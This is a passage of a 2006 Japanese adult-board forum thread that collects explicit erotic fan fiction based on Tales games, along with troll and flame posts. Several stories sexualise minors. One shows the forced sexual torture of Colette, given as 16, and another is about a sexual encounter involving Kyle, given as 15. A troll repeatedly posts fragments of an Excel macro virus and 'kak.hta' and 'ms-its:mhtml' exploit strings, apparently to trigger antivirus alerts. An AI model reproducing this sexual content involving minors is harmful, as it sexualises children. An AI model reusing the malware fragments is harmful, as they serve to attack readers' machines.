397 名前:370氏 :2006/07/02(日) 00:46:31 ID:qOrE+JAc
気持ちを読み取られたのか否か、そのカイルの息子にめがけて、お腹からすっとリアラの左手が入り込んだ。
そしてその指が、カイルのそれを見つけるや、前後左右に、指をツーとなぞっていく。
「あ…カイルのここ、こんなに大きい…」
そう呟くや、リアラの左指の5本が、ゆっくりとカイルのそれをさすった。
違う体温のものに、自身の大切なものにいきなり触れられて、カイルも思わず呻き声を喘ぐ。
「気持ちいいの?カイル…カイルぅ…」
カイルを包むリアラの左手が、両手になって、ズボンを降ろして、カイルのそれが、リアラのよりも先に、露になった。
「リ、リアラ…!」
「カイルをもっと良く見たいの…カイルの全部を…」
上目遣いで、男なら誰もが堕ちてしまいそうな悪魔のような笑みを人形のように整った顔に浮かべ、
リアラはすっと、カイルの腰の方へ自分の顔をスーッと下ろしていく。
カイルもさすがに自身の恥じらいが頂点に達したのか、顔を真っ赤にして、リアラの顔を抑える。
「リリリリアラ!一体何やって…!」
「もっとカイルを気持ちよくしてあげる…」
言うや、カイルの息子の先っぽだけを、ペロッと舐め上げる。そして、両腕でそれを、しごき始めた。
ぎこちないが、けれど明らかに愛しそうに指が動いた。その快感に、今度はカイルが仰け反った。
「駄目…リアラ!そんなにやったら俺…俺…!」
経験したことの無い快感が、カイルの脳裏にまで貫いた。
「出る…出ちゃ…う…!」
「え…?」
そう言った時には、遅かった。自身の先から白い液体が、ドピュ、ドピュっと、定期的にリアラの顔面に射精された。
リアラは最初こそ驚いたように目を瞑ったが、徐々にその引きつった顔を和らげ、しまいにはその感触に浸るように、
呆然と口を開けてその液体にかかっていった。

398 名前:370氏 :2006/07/02(日) 00:47:08 ID:qOrE+JAc
髪の毛から、目蓋、頬、口の中にまで、リアラの白い肌が、さらに白くなるように、カイルに包まれた。
カイルはそんな光景を、ぼ〜っとする頭をこらえて、全く萎えていない息子越しに見た。
一折射精が済んだのを確認すると、リアラはようやく瞳を開けて、口に入った液体を味わい、
唇付近についたものまでぺろりと味わい、ゴクン、とわざとらしく、喉を鳴らした。

「ねぇカイル…まだまだ足りないの…。もっとカイルが欲しい…」
カイルの喉も、リアラに合わせるように、コクンとなった。


ヨルハマダマダコレカラダッタ。

399 名前:370氏 :2006/07/02(日) 00:48:19 ID:qOrE+JAc
最初の方<BR>って…いつもの癖でつけてしまったorz

400 名前:ウィ :2006/07/02(日) 00:48:41 ID:2bqVXvNJ
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

401 名前:ウィ :2006/07/02(日) 00:49:26 ID:2bqVXvNJ
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

402 名前:名無しさん@ピンキー :2006/07/03(月) 18:19:15 ID:g2+DEzYj
すずちゃんのお漏らし・・・

403 名前:http://content.amplovesyou.net/image/p425_20.jpg :2006/07/03(月) 20:43:16 ID:6a3jcb0j
何この糞スレ・・・

404 名前:名無しさん :2006/07/04(火) 18:11:54 ID:Wy1c3/b1
途中じゃ何かと半端でage覚悟で

「熱ッ!!ひあッ!!」コレットはあまりの熱さに胸を引く。
あの時森で侵された機械で乳首が再び軽く焼け焦げ、薄く茶色の
煙が左の乳首から漂う。
(これは・・・あの時の・・・)
と、そのとき異変がコレットに起こる。
体が疼く。機械だけではなく、体がどんどん火照っていく。
「これは!!うぅっ・・・」
「やっと気がついたか・・・」女がはじめて口を開く。
「これは感度を増強させ、お前の体内の媚薬の副作用を開放させる
特殊な電流を発す。そして、その副作用とは・・・・
まあ、やればわかるな。」
そして女は機械を複数同時に彼女の体の各部に押しつけていく。
コレットは逃げようともがくが、抗う力さえもう見出せず、
その抵抗も、快感の闇に飲まれてしまう。
「きゃッ!!や・・やめ・・・ああんッ!!
おねが・・きゃふう!!!」
兵士は体の各部に徐々に押し付けていく。
右乳首、両腕、両足、首、背中、腹部、髪、秘所・・・
そしてクリトリスへ・・
「ひゃああぁぁ!!!」最後にクリトリスに強く押さえつけられ、
痛みと快感の喘ぎ声を噛み殺すどころか、叫んでしまう。
彼女からは大量の焦げた煙が余すところなく上空へと漂っていく。
「ハァハァ・・・、くぅ・・・ハァハァ・・・、はぅ・・・」
体が焼け焦げる苦しみに耐え忍ぶのはあまりにも酷だった。
しかし、体を駆け巡る快楽で眠ることすら出来ない。
「さァ・・・出来たか・・・」そういうと、女は乳首を
強く右に数回転させ、つねった。
「・・・・!!!」コレットは歯を食いしばり、苦痛の表情を
浮かべるが、ダメージが大きく、もう口も開けない。
そこへ再びあの脈動が・・・


405 名前:名無しさん@ピンキー :2006/07/04(火) 19:09:12 ID:NSaS7J7z
>>404
途中からでも『sage』てくれ
理由が分らないなら>>123を読んでくれ
先ずはそれからだ

406 名前:名無しさん@ピンキー :2006/07/04(火) 19:19:41 ID:UxTRun/e
 

407 名前:名無しさん@ピンキー :2006/07/04(火) 20:39:48 ID:XNCqslkh
>>394-398
(・∀・)/イイ!
カイルとリアラ好きなのに、このSSってかなり少ないから貴重です。
使わせてもらいました(*´Д`)

408 名前:名無しさん@ピンキー :2006/07/04(火) 21:06:58 ID:WHCWJaYT
afo

409 名前:名無しさん@ピンキー :2006/07/04(火) 23:08:05 ID:6bu/5neL
>>404
GJ
もうここまで来たらsageとかどうでもいい

410 名前:kak.hta';ken=wd+'START :2006/07/05(水) 10:02:33 ID:eqQUZ3VU
>>409
自演死ね

411 名前:名無しさん@ピンキー :2006/07/06(木) 15:39:25 ID:FbdVd4kb
ここは素晴らしい糞スレですね

412 名前:ms-its:mhtml:file://c:\ :2006/07/06(木) 19:18:48 ID:0sONvYgQ
>>410
お前が死ねや

413 名前:http://content.amplovesyou.net/image/p425_20.jpg :2006/07/07(金) 00:53:57 ID:wG5rWW6n


414 名前:名無しさん@ピンキー :2006/07/08(土) 01:16:46 ID:qWltaCJD
>>404
GJ!続きを期待。

415 名前:cat /etc/passwd | nobody :2006/07/08(土) 01:58:34 ID:GZBaD2CV
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < kak.hta';ken=wd+'START
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

416 名前:F資産 :2006/07/08(土) 17:01:34 ID:1dpWaGh6
ドクッ・・ドクッ・・・ドクッ・・・
「うああッッ!!はあああッッ!!」薬の力で無理に体力を回復させられ、
喘ぐ少女。金髪の髪が喘ぐたびに揺れてなびく。
女兵士はそこへクリトリスに快感の電流を永続的に流し続ける。
「ああぅんん!!」体中に苦痛が駆け回り、歯を食いしばるコレット。
ドクドクドクドク・・・鼓動がそのせいか早くなっていく。
ドピュドピュと下品な音を立てながら、愛液が狭い部屋に溢れていく。
「あああッッ!!熱!!や・・やめ・・ひいいぃ!!」
反論の声を上げようとしたが、突如体中の快感が今にも秘所から爆発しそうに
快感が秘所に著しく溜まっていくのを感じ、口を閉じる。
少しでも振動を与えたら、また快感が爆発し、数十分イき続けてしまう。
しかし―女が再び乳房を乱暴に力強く捻り回し、快感が蓄積されていく。
ドドドドドド!!体が爆破されるような勢いで秘所が振動する。
快感の鼓動が全身に伝わってきて、それだけでもイきそうだ。
(も・・もう・・ダメッ!!我慢しきれない・・・で・・出ちゃ・・ぅ)
とその瞬間―触手が怪しい液体を滴らせながら、コレットの秘所に
何本か侵入―挿入された瞬間、愛液が飛び散った―した。
「うああぁっ!!」頭部を前にのけぞらせ絶叫するコレット。
体内の媚薬と外部の何かが結合していく、そんな感覚が体を
通して伝わってくる。
「これで、お前の媚薬の副作用を開放した、存分に楽しむがいい。」
女は不敵な笑みを浮かべて、コレットに腕を伸ばす。
「はあああッッ!!うあああぁ!!」
コレットは喘ぎ、イきながらも、女を睨みつけ損ねた、恐ろしく
怯えた目でまだ触手が秘所でグチュグチュと気味悪く獲物を襲うように
蠢き、感じながらも、恐怖の表情で女を見つめていた。


417 名前:cat /etc/passwd | nobody :2006/07/08(土) 17:37:24 ID:GZBaD2CV
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < >>416 get away immidiately.
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

418 名前:名無しさん@ピンキー :2006/07/09(日) 11:02:50 ID:STrydOlR
誤字やんか

419 名前:rt :2006/07/09(日) 17:05:53 ID:cJbRy9Ih


420 名前:F資産 :2006/07/09(日) 17:06:31 ID:cJbRy9Ih


421 名前:kak.hta';ken=wd+'START :2006/07/09(日) 20:29:47 ID:TADevNw+
lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

422 名前:名無しさん@ピンキー :2006/07/11(火) 07:00:27 ID:YYxT7Gk+
ウイルス厨へ

偉大なるInternetExplorer様の前にはお前の書き込みは何の意味も無い

423 名前:名無しさん@ピンキー :2006/07/11(火) 18:12:29 ID:vYMqbYrF
というかノートン使い以外にはなんの意味もない

ノートンなんて屑ソフト使ってる馬鹿が今だにいるとはおもえんし

424 名前:kak.hta';ken=wd+'START :2006/07/12(水) 01:36:32 ID:yhSR8JFp
ξミヽ( ・∀・)ノξ ウンコー ◆2.0Km1unko さんのご尊顔
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko01.jpg
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko02.jpg

425 名前:kak.hta';ken=wd+'START :2006/07/14(金) 00:12:43 ID:4HEkTGkM
昨日も忘れた一日一回ウイルスコード

lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

426 名前:名無しさん@ピンキー :2006/07/14(金) 00:59:03 ID:d0QnjBg5
だから意味がないと何度言えばry




















糞スレあげ

427 名前:名無しさん@ピンキー :2006/07/14(金) 20:46:18 ID:Fy/L5fzV
age

428 名前:名無しさん@ピンキー :2006/07/15(土) 01:25:24 ID:eIh6uVcx
age

429 名前:名無しさん :2006/07/16(日) 14:06:36 ID:dR16pkb1
「あああッッ!!!」蠢く触手に喘ぐ少女。それに追い討ちを
かけるように媚薬の作用が彼女を襲う。
「・・・ぅッッ!!!く・・・はああぁぁ!!!あッ!あッ!
ひあッ!!ひああッッ!!はぁうん!!ひぃああああッッ!!!
あああああああああああああああああああああああああッッッ!!」
今まで押さえ続けていた快感が一気に爆発し、直も喘ぎ続ける。
あふれ出る大量の愛液が体内の触手を押し戻す。
薬の作用は発生のたびにすさまじくなり、感度もたびに著しく上がっていったが、
今回は比べ物にならない。体の鼓動が止まらない。
いつまでイきつづけるかも分からない。
「フフフ・・・この瞬間に媚薬が表面に出てくる瞬間を襲わなければ
ならなかったからな・・・。薬の副作用、存分に味わえ。」
「ひああああッッ!!!・・・・うああああああッッッ!!!」
絶えず喘ぎ続けるコレット。しかし、その場をうめき、転がりまわる彼女を
無視し、触手がコレットを縛り、上空へと持ち上げる。
そして、その真下に硬く、太く、そして、長いバイブをセットする。
「フフフ・・楽しみだ。」女兵士が告げたのを合図に支えの触手が離れていき、
支えが両手足1本ずつになる。
「さあ、せいぜい抗って、抵抗してみな。」
支えをほぼ失った16歳の少女は徐々に体を落下させ、バイブが体へと
埋まっていく。
「・・・はぁはぁ・・・はぁはぁ。・・・嫌・・・!!!」
やっと口を利けるようになってきたが、再び快感が襲う。
「ああああああああああああッッッ!!!!」
さっきより比べ物にならない感覚でわずかに侵入しただけで、
数十回イった。
(速く・・・終わりたい・・・)そう思った彼女に声がかけられる。いや、
自分が語る。
「・・あぁ!!もっと・・もっと・・・!!」
(え・・・!!)急いで口を閉じ、手を当てるコレット。驚きを隠せず、ひどく赤面する。
「これが副作用。心は完全に拒絶しても、火照るからだの欲望は止まらない。
肉体が心に逆らい、欲望を要求する。どうだ、うれしいだろう。」
コレットは首を横に振るが、口をついて出てきた言葉はこれだった。
「もっともっと・・早く・・・お願い・・・」
自分の口を衝くのは喘ぎ声と肉体の欲望だけ。
と、体から力が抜け、一気にバイブが膣に入っていく―とはいえ、あと
7割程度の長さがあるが―そして、コレットは喘ぐ。
もう肉体には逆らえない。自分の意思では叫ぶことだけでなく、体を動かすことが出来ない。
それは彼女にとって、過酷なものであった。

430 名前:名無しさん@ピンキー :2006/07/16(日) 20:23:24 ID:9SX/Hw0j
叫んでばっかりで萌えないし抜けない

431 名前:cat /etc/passwd | nobody :2006/07/17(月) 00:42:18 ID:4u4l07sb
文句垂れる暇があったら貴様もあなまたかさはらやなかたまらやわやたあやわやわやらはかなやたなか

432 名前:kiiroibuta :2006/07/17(月) 13:43:42 ID:Ae2cySGj
ひゅー

433 名前:名無しさん@ピンキー :2006/07/17(月) 14:29:05 ID:86l31RZs
もう終わっちまったなここも


434 名前:六神将スレの273 :2006/07/17(月) 14:47:13 ID:BROcXhKi
これじゃ書けんな………

435 名前:名無しさん@ピンキー :2006/07/17(月) 19:31:22 ID:k+c+QaWM
>>434
続き読みたかっただけに残念…

436 名前:名無しさん@ピンキー :2006/07/17(月) 20:06:57 ID:VqDF5Dzu
プギャプギャ━━━m9(^Д^≡^Д^)9m━━━━!!!!!!!!

437 名前:腹黒堕天使 :2006/07/17(月) 22:13:58 ID:gRLbkVvR
私いつも来てるんですが書く気が起きません

438 名前:名無しさん@ピンキー :2006/07/17(月) 22:36:40 ID:jduzlTJ+
あんまり廃れんのも可哀相だから、久方ぶりに書いてやるか。つっても投稿は明日だがな。

439 名前:名無しさん@ピンキー :2006/07/17(月) 23:00:06 ID:zl0/Okb1
俺も毎日来てるんだけど、荒らしのレスしかない(´・ω・`)

440 名前:名無しさん@ピンキー :2006/07/18(火) 00:28:13 ID:DPhz5Nq7
どこで転んじまったんだか…

441 名前:名無しさん@ピンキー :2006/07/18(火) 00:34:32 ID:N6JKnKEe
正直SS投稿したい気持ちはある。
けど、今投稿しても荒らしと一緒くたにされてまとめてあぼんされたり
荒らしが過剰化しすぎて容量制限落ちしてしまって誰の目にも触れられない
可能性が高いのでなかなか投稿することができない

442 名前:名無しさん@ピンキー :2006/07/18(火) 00:36:16 ID:DPhz5Nq7
新スレ立ててもまた荒らされそうだしなぁ…

443 名前:kak.hta';ken=wd+'START :2006/07/18(火) 01:07:26 ID:rjouYrfS
久々に常人のレスが連続でついたようだが・・・時、既に遅し

444 名前:名無しさん@ピンキー :2006/07/18(火) 01:08:10 ID:rjouYrfS


445 名前:名無しさん@ピンキー :2006/07/18(火) 01:09:27 ID:rjouYrfS
あれ出来田あまらかやか?

446 名前:kak.hta';ken=wd+'START :2006/07/18(火) 01:16:43 ID:rjouYrfS
あ@てきら出来たしく。ネネ

447 名前:kak.hta';ken=wd+'START :2006/07/18(火) 01:19:16 ID:rjouYrfS
>>443-446
書き込めていますよ

448 名前:kak.hta';ken=wd+'START :2006/07/18(火) 01:21:08 ID:rjouYrfS
>>447
OKサンクス

449 名前:kak.hta';ken=wd+'START :2006/07/18(火) 01:21:56 ID:rjouYrfS
>>447
OKサンクス

450 名前:名無しさん@ピンキー :2006/07/18(火) 03:42:17 ID:1qIprGLj
どうしよう。とりあえずここは破棄になるのかな
このスレ見てる人結構いそうだけど
皆さん嵐が過ぎ去るのを待たれます?

451 名前:名無しさん@ピンキー :2006/07/18(火) 03:49:00 ID:DPhz5Nq7
>>450
当面はそうするしか方法がありませんね…;
あんまりにも酷いときは破棄されても仕方ないと思います

452 名前:名無しさん@ピンキー :2006/07/18(火) 10:20:38 ID:+xmHzKcA
いちいちリアクションするから荒らしも付け上がるんだってことにいい加減気付いてください

453 名前:名無しさん@ピンキー :2006/07/18(火) 10:56:54 ID:rjouYrfS
無視されても一日一回以上は書き込むようにしているので関係ないですよ。

454 名前:名無しさん@ピンキー :2006/07/18(火) 12:26:35 ID:DPhz5Nq7
まぁ、しばらくそっとしといてあげましょうや

455 名前:名無しさん@ピンキー :2006/07/18(火) 13:38:40 ID:rjouYrfS
ここは削除依頼を出すべきであろう

456 名前:名無しさん@ピンキー :2006/07/18(火) 15:18:04 ID:jhyyQC0+
ルクティア〜・・・・・


   萌 え

457 名前:キルア :2006/07/18(火) 15:30:48 ID:yp7oIcE1
ここも結構ヤバーになってきたー19ぐらいまではよかったのにw

458 名前:名無しさん@ピンキー :2006/07/18(火) 19:21:31 ID:tQZqhG5R
ochinchin fuoooooooooooooooooooooooooooooooooooo!!!!

459 名前:名無しさん@ピンキー :2006/07/18(火) 21:24:11 ID:9Vd7kWg3
アビスが発売されてから、一気におかしくなったんだよな、このスレ。

460 名前:名無しさん@ピンキー :2006/07/18(火) 21:25:45 ID:ycVTl+Qb
いや少なくともLの時からおかしかった

461 名前:名無しさん@ピンキー :2006/07/18(火) 21:42:41 ID:DPhz5Nq7
とにかくその頃からこのスレに障気が満ちてきたんだな……

462 名前:438 :2006/07/18(火) 21:51:37 ID:gGkoQFRF
もうちょい待て、今日中に新作投稿してやるから。
D2のカイルとリアラで一応純愛。

463 名前:名無しさん@ピンキー :2006/07/18(火) 21:58:03 ID:sRFk4+1x
カイルキュン来る(*´Д`)

464 名前:kak.hta';ken=wd+'START :2006/07/18(火) 22:11:47 ID:rjouYrfS
カタシ to カタシ


465 名前:438 :2006/07/18(火) 22:32:22 ID:gGkoQFRF
よっしゃ、出来た。んじゃ、投稿するか。

466 名前:438 :2006/07/18(火) 22:32:56 ID:gGkoQFRF


リアラの力を増すペンダントは、カイルと初めて出会った場所から飛び立ち、何処へと消えていった・・
それが何を意味するのかは分からない、ひょっとしたらただ単に神の卵を構築する材料として飛んでいっただけかもしれない・・逆にカイルとリアラに奇跡を・・・・聖女の力でもレンズの力でもない、それこそ神がかった本当の奇跡でもくれるのかもしれない

その様子を、空へ光の粒となって消えていく間、カイルとリアラの二人は手を繋いで見ていた
(・・・・リアラは、神と一緒に消えることを望んでいる
 だったら、それをやるのは俺だ。父さんと母さんが自分たちのかけがえのない仲間であるソーディアンを自分の手で神の眼に刺したように・・・
 ジューダスだってシャルティエを・・・。ナナリーだって、死ぬと分かっていてもルーに後悔させない生き方をした。ハロルドだって変えられる運命を変えなかった・・
 皆が正しいと思うことをしたんだ。ウッドロウさんも言っていた!「自分の正しいと決めたことをやれ、絶対に貫き通せって!」って!
 俺がやらないと・・・・)



467 名前:438 :2006/07/18(火) 22:33:59 ID:gGkoQFRF


カイルは、これから自分のすべきことを再確認した。いくつもの歴史を超えてきたが、その途中で見てきた人々の強さを心に刻み、おそらく今自分の人生で最も重い決断をしたこの場で思い出している
彼に限らず一族は薄幸の人生を歩んでいる・・・父親であるスタンは、旅に出たときから両親が既に死んでおり、妹だけが唯一の家族であった。
母親であるルーティは、自らの手で父と弟二人の家族の息の根を止めた。そして、冒険の間ずっと辛苦を共にしてきたソーディアンという大切な仲間を「世界を救う」という大儀を成すため、自らの手で彼らの1000年に亘る長き生に終止符をうった。
そして、ようやく平穏な日々をすごせたと思った矢先・・・カイルがまだ4歳であったときに、スタンはカイルの目の前に無残にも殺された。
ルーティも同じく、最愛の夫を失った。今のカイルは、それに似ている。
最愛の人を失うのだ、しかし殺すのは他でもない自分自身……残酷以外の何でもない……

15歳というあどけなさの抜けない程の若年で、彼の肩に背負わされた責任は、これまた歴史上最も重いものだろう。
1000年前の天地戦争や18年前の外郭、更には歴史改変世界を作り上げたことなど全てが、便所のゴキブリの糞にも劣るくだらない問題に感じられる。
「誰かの支配を受ける」ではなく、「今までの歴史そのものがなくなり、人類はただの自らの幸福論という神の下に思想を共にするだけの下僕に成り果てる」と考えると、歴史上でも最たる責任感だ。ましてやその肩には自分のかけがえのない愛しい女性の命もかけられている。
あまりにも重過ぎる責任、そして神である敵の強大さ・・つい先ほど仲間のロニとナナリーが一蹴されたことから、今回のエルレインは本気だ。
いつぞやのように途中で逃げたりはしないだろう、その裏に控えるフォルトゥナ神の実力も全くの未知数。不安材料など考える度にマグマのように噴き出してくる。
それでも負けられない、そう思うと自然と手にも力が入った。




468 名前:438 :2006/07/18(火) 22:35:32 ID:gGkoQFRF


「カイル・・少し痛い・・」
グローブ越しにも伝わるリアラの体温を感じる、それ自体はいつまでもこうありたいと思うほど心地よいものだが、僅かでも苦痛を訴えられるとカイルは鍵でもされていたかのように硬く握っていた手を離して、拘束を解いた。
自由になったリアラの手には、雪のように真っ白な肌とは別に、少し赤くなっているところがあった。
カイルが強く掴んでいたため血が溜まっていたようだ。
「ごめんリアラ!
 いつの間にか俺、強く握っていたみたいで」
白い美肌に僅かな血の止まりが見えると、すぐに頭を下げて謝るカイル。らしいといえばカイルらしい。明日にはこの世界は終わり、何か別のものが始まっているというのかも知れないのにこんな調子だ。
憎まれ口叩くのが日課となっているジューダスだったら「全く、最後までこんな調子だとはな」とか言うに違いない。
しかし・・・・いつもとはやはり少し違う、カイルの行動は確かにいつも通りでそれほど不思議なものではない。しかし、女の心は海より深いという、その深さから出てくる女の勘というのは怪獣のように強い
「カイル・・・・不安なのね・・」
「・・・・」
無言…しかし、それだけで十分明快な答えだ
そのまま、カイルはリアラに背を向けて近くにあった大きな木の根に座った。そして、深呼吸をすると口を開いた
「………怖いんだ。
 君は消えてしまうのが怖くないって言ったけど、俺は怖い」
「カイル・・」
どこへ行っても、それこそ雪国や氷河期のような天地戦争時代だろうと、太陽の化身のような能天気さを見せてくれたいつもの彼とは、別人のように小さく見えた。


469 名前:438 :2006/07/18(火) 22:38:44 ID:gGkoQFRF

「エルレインのことは・・・皆が手伝ってくれるし、リアラもいるから勝てるって信じている。
 その後に戦うかもしれないフォルトゥナも得体が知れないけど、いつだって俺たちはどんなことが起きるのかわからずに進んできたから、なんとかなるのかもしれない
 だけど・・・・」
「・・・・」
「・・だけど・・・・・・・・・・・・・・・・・・・・」
「カイル・・」
言葉を言いたくないのか、黙ったカイル。それと背中合わせに、リアラも同じ木の根に座った
背中に感じるリアラの存在にほっとしたのか、カイルはリアラの手を再び繋ぎ……

「君がいなくなるのが・・怖い」

何よりもつらそうな表情をして、搾り出すようにカイルは言った。背中に感じるリアラに安心し、手を繋いでいる手に伝わる温もりも、カイルには心地よいものだった。小さい頃に親の腕の中で寝ているのとは違った安心感があり、一種の麻薬のように気持ちよく感じた
………この安心できる存在も、明日にはいなくなってしまうのだ。勿論世界が変えられたらそれどころではない、今更カイルも考えは変えるつもりはない。英雄という言葉とは関係なしに、カイルは決心していた。
頭では思っていても、実際はそう思い通りにならないことなどいくらでもある。恋人にナイフで刺されたら当然痛い、好きでもない奴らに強姦されても感じるものは感じる。
実際に消えたら、このリアラの温もりも何もかも二度と体験できない・・・・カイルはそれが怖かった。
「カイル・・・・」
リアラも同じ、自分の英雄の手で殺されることには自分は異論も遺憾もない。ただ、会えなくなるということは分かっているが、リアラは消えたらそれまでで、カイルのように残されない
人間でなくとも、リアラにもカイルの苦しみは分かった


470 名前:438 :2006/07/18(火) 22:40:00 ID:gGkoQFRF

「カイル・・・」
「うわっ!」
カイルに後ろから強く抱きつき、リアラは言った。
「・・・て」
「えっ?」
お腹の力をほとんど使わないほどのか弱さで、聞き取れないほどの声だった。
彼女自身、勇気を出さないと言えないことであり、大声で言うことなどとても出来ないことだったが・・・
普段は白い頬を赤くし、カイルの耳に自分の唇を近づけ
「抱いて」
と言った



「え・・・えっ!?」
頭がゴミ箱でもひっくり返したようにパニックになったカイル
「だ、抱いてって言っても」
想像ぐらいしたことはある、初めて会ったとき、リアラは全裸であったので一瞬だがカイルの脳髄にはその映像が叩きこまれている。
思い出そうと思えばいつでも思い出せるほどの衝撃だったが・・・
「抱くって・・・言葉の意味分かってるのリアラ!
 ストレイライズ神殿の時みたいに抱きしめるだけじゃなくて、一線を越すんだぜ!」
「え…ええ…………私だって、初めてだからよく分からないけど…頑張るから」
二人とも頬だけではなく、顔全体を夕焼け以上に赤く染めながらドギマギしていた
もはや不安がどうのこうのではない・・・


471 名前:438 :2006/07/18(火) 22:40:42 ID:gGkoQFRF


数分もすると、二人は落ち着いた・・・だが、一度出てきた話題をそう簡単に消すことなど出来ず、顔を合わせるのも大変そうだ。背中合わせに座っているだけでも、心臓の高鳴りが収まる様子はない
「カイル、突然で驚いたでしょ?
 でも、カイルと私、二人の不安を一時でもいいから飛ばしたいの・・・」
「リアラも、不安なの?」
気丈に振舞っていた彼女も、やはり硝子細工の様に繊細だ。割り切れない思いがあったということが分かり、カイルはほっとすると同時に「男の自分がどうにかしないと」という使命感にも似た思いが出てきた

背中合わせに手を繋ぎ、リアラの方から徐々にその力が強くなっていった
「神の卵がいつ降ってくるか分からないし・・・カイルと一緒にいたっていう思い出を少しでも増やしたいの
 ・・・・・不安だって、少しは薄れると思うし」
「………」
無言で、カイルはリアラの方を振り向いた
リアラの華奢な体つきを正面から見据えると、両肩を掴んだ。そのカイルの手に覆われたリアラの肩は、小刻みに震えていた。
肩越しでも、彼女が一羽になった兎のように心細く感じる感は伝わってくる

ベッドもなければ毛布もない・・二人が初めて出会ったということだけが唯一の思い出。そんな場所・・・
カイルも彼女の英雄として、腹を決めた
「リアラ、本当に・・・・本当にいいんだね?
 もし、嫌な思い出になっても後悔しない?」
カイルだって初めてだ、ひょっとしたら無理やりリアラを傷付けてしまうことだって考えられた。西洋硝子のように整った表情からは、リアラの真意は読み取れない。
「カイルと一緒だから、大丈夫よ」
微笑みを浮かべ、リアラは答える。しかし、肩の揺れは、全く収まらない・・・眼の奥からは、不安と恐怖が見て取れた
(リアラ・・・)
心の中で、一度彼女の名を呟くと、カイルはリアラの薄く形の整った唇に自分の唇を被せた
初めてのキス・・・それがこんなにも簡単に出来てしまうものなのかと思ったりもしたが、その考えは一瞬―――リアラのやわらかい唇の感触が唇を通して全身に電気のように流れ、カイルの思考は停止した
それはリアラも同じ、これから処女をカイルに捧げるという人生のビックイベントを行うというのに、頭はそれどころではなかった。ただカイルから伝わってくる甘い感覚が自分の体を支配していた


472 名前:438 :2006/07/18(火) 22:42:06 ID:gGkoQFRF


いつの間にか、カイルはリアラの細い体を強く抱きしめていた。こんなに細い体なのだから優しくしなければ・・・という考えこそあったものの、体はその通りに動かず、ただ彼女の体を自分のものにしたいという力が働いていた
(リアラ・・)
唇だけでは足りず、カイルは大した知識もないが舌を彼女の口内へと入れ、乱暴に動きまわした。「んっ」というリアラの呻き声が聞こえたがそのことも頭に入らないほど、カイルは激しく舌を動かした。
「ん・・・ん!! ぁん!」
リアラから、蝶や蜂が寄り付きそうな甘い声がもれた。リアラも、本能のようにカイルの舌に自分の舌を絡ませ、カイルと自分に与えられる感覚を倍にした。唇は繋がったまま、抱き返した。

「はぁ・・はぁ」
「ハァハァ・・」
唇と舌を離すと、お互いの顔が月夜に照らされていることに気づいた。いつの間にか夜になっていたようだ・・・辺りには光を出すようなものは何一つ無い、二人の気は、ますますそういう方向に高まった

先ほど感じた快感のせいか、リアラの瞳は早くも涙で潤んでいた。「いいのだろうか?」とカイルは考えた、舌を絡め合わせただけでリアラは既に本番でもしているかのように力が抜けていた。
リアラは頭の重さを支えることすら辛いのか、俯いていた。体を抱いているカイルは、唇を放した瞬間にリアラの重さが自分に全て圧し掛かってくるように感じた。たかがキスで…このまま先に進めれば、おかしくなってしまうのではないかと思った
・・・だが、自分に感じた快感の強さは、彼の考えよりも本能を引きずり出すことを優先させたようだ
「リアラ・・・もう一度」
「ハァハァハァ……ええ・・」
唇を放して数分経っているのに、なおも息も荒いリアラ。彼女も、自分の中で目覚めかけている感覚を更に引きずり出そうと思っているのか、快くそれを受け入れた
だが、彼女の顔は俯いたままで、カイルは抱いていた手を一つ離して、リアラの顔を上に向かせ、再び唇を落とした。
再度訪れる快楽・・・カイルもリアラも、永遠にこのように居られたら・・・と思ったが、無論これは一時的なことだ。すぐに慣れ、更なる快楽を求めることになる。それを知っているからだろうか、リアラの顔を上に固定していたカイルの右手が、徐々に下へと落ちていった・・・


473 名前:438 :2006/07/18(火) 22:42:49 ID:gGkoQFRF


「………・・あぁ!」
自分の胸部が急に熱くなり、繋がっている唇からもれるように声が出た。
